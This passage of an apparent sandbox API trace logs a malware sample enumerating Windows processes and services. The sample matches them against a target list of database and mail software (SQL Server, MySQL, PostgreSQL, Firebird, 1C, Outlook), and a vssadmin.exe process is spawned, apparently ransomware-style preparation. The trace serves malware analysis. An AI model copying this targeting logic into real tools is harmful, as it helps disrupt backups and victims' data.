lpString2="csrss.exe") returned 1 [0207.137] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.138] lstrlenW (lpString="wininit.exe") returned 11 [0207.138] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0207.138] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0207.138] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.140] lstrlenW (lpString="csrss.exe") returned 9 [0207.140] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0207.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0207.140] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0207.140] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0207.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0207.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0207.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0207.140] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.141] lstrlenW (lpString="winlogon.exe") returned 12 [0207.141] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0207.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0207.142] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0207.142] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0207.142] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0207.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0207.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0207.142] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.143] lstrlenW (lpString="services.exe") returned 12 [0207.143] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0207.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0207.143] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0207.143] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0207.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0207.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0207.144] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0207.144] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.145] lstrlenW (lpString="lsass.exe") returned 9 [0207.145] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0207.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0207.145] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0207.145] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0207.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0207.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0207.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0207.145] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0207.146] lstrlenW (lpString="lsm.exe") returned 7 [0207.146] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0207.146] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0207.146] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0207.147] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0207.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0207.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0207.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0207.147] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.148] lstrlenW (lpString="svchost.exe") returned 11 [0207.148] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.148] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.149] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.149] lstrlenW (lpString="svchost.exe") returned 11 [0207.150] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.150] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.151] lstrlenW (lpString="svchost.exe") returned 11 [0207.151] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.152] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.153] lstrlenW (lpString="svchost.exe") returned 11 [0207.153] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.154] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.155] lstrlenW (lpString="svchost.exe") returned 11 [0207.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.269] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.269] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.269] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.270] lstrlenW (lpString="audiodg.exe") returned 11 [0207.270] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0207.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0207.271] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0207.271] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0207.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0207.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0207.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0207.271] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.272] lstrlenW (lpString="svchost.exe") returned 11 [0207.272] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0207.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0207.272] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0207.272] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0207.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0207.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0207.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0207.273] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0207.274] lstrlenW (lpString="userinit.exe") returned 12 [0207.274] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0207.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0207.274] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.275] lstrlenW (lpString="explorer.exe") returned 12 [0207.275] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0207.275] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0207.276] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0207.276] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0207.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0207.276] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.277] lstrlenW (lpString="dwm.exe") returned 7 [0207.277] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.278] lstrlenW (lpString="svchost.exe") returned 11 [0207.278] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0207.279] lstrlenW (lpString="driver.exe") returned 10 [0207.279] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.280] lstrlenW (lpString="spoolsv.exe") returned 11 [0207.281] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0207.282] lstrlenW (lpString="taskhost.exe") returned 12 [0207.282] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.283] lstrlenW (lpString="svchost.exe") returned 11 [0207.283] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.284] lstrlenW (lpString="dllhost.exe") returned 11 [0207.284] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0207.285] lstrlenW (lpString="cmd.exe") returned 7 [0207.285] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0207.287] lstrlenW (lpString="reader_sl.exe") returned 13 [0207.287] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.288] lstrlenW (lpString="conhost.exe") returned 11 [0207.288] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0207.290] lstrlenW (lpString="vssadmin.exe") returned 12 [0207.290] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0207.291] CloseHandle (hObject=0x308) returned 1 [0207.291] Sleep (dwMilliseconds=0x1f4) [0208.056] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d7900 [0208.201] EnumServicesStatusExW (in: hSCManager=0x41d7900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0208.203] GetLastError () returned 0xea [0208.203] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa64) returned 0x4190058 [0208.203] EnumServicesStatusExW (in: hSCManager=0x41d7900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4190058, cbBufSize=0xa64, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4190058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0208.204] CloseServiceHandle (hSCObject=0x41d7900) returned 1 [0208.205] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0208.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0208.206] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0208.206] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0208.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0208.206] lstrlenW (lpString="AudioSrv") returned 8 [0208.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0208.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0208.206] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0208.206] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0208.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0208.207] lstrlenW (lpString="BFE") returned 3 [0208.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0208.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0208.207] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0208.207] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0208.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0208.207] lstrlenW (lpString="CscService") returned 10 [0208.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0208.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0208.207] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0208.207] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0208.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0208.207] lstrlenW (lpString="DcomLaunch") returned 10 [0208.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.208] lstrlenW (lpString="Dhcp") returned 4 [0208.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.209] lstrlenW (lpString="Dnscache") returned 8 [0208.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.209] lstrlenW (lpString="eventlog") returned 8 [0208.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0208.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0208.209] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0208.209] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0208.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0208.209] lstrlenW (lpString="EventSystem") returned 11 [0208.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.210] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.210] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.210] lstrlenW (lpString="gpsvc") returned 5 [0208.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.210] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.210] lstrlenW (lpString="lmhosts") returned 7 [0208.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.211] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.211] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.211] lstrlenW (lpString="MMCSS") returned 5 [0208.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0208.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0208.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0208.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0208.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0208.211] lstrlenW (lpString="MpsSvc") returned 6 [0208.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.212] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.212] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.212] lstrlenW (lpString="nsi") returned 3 [0208.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.212] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.212] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.212] lstrlenW (lpString="PlugPlay") returned 8 [0208.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.213] lstrlenW (lpString="Power") returned 5 [0208.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.213] lstrcmpiW 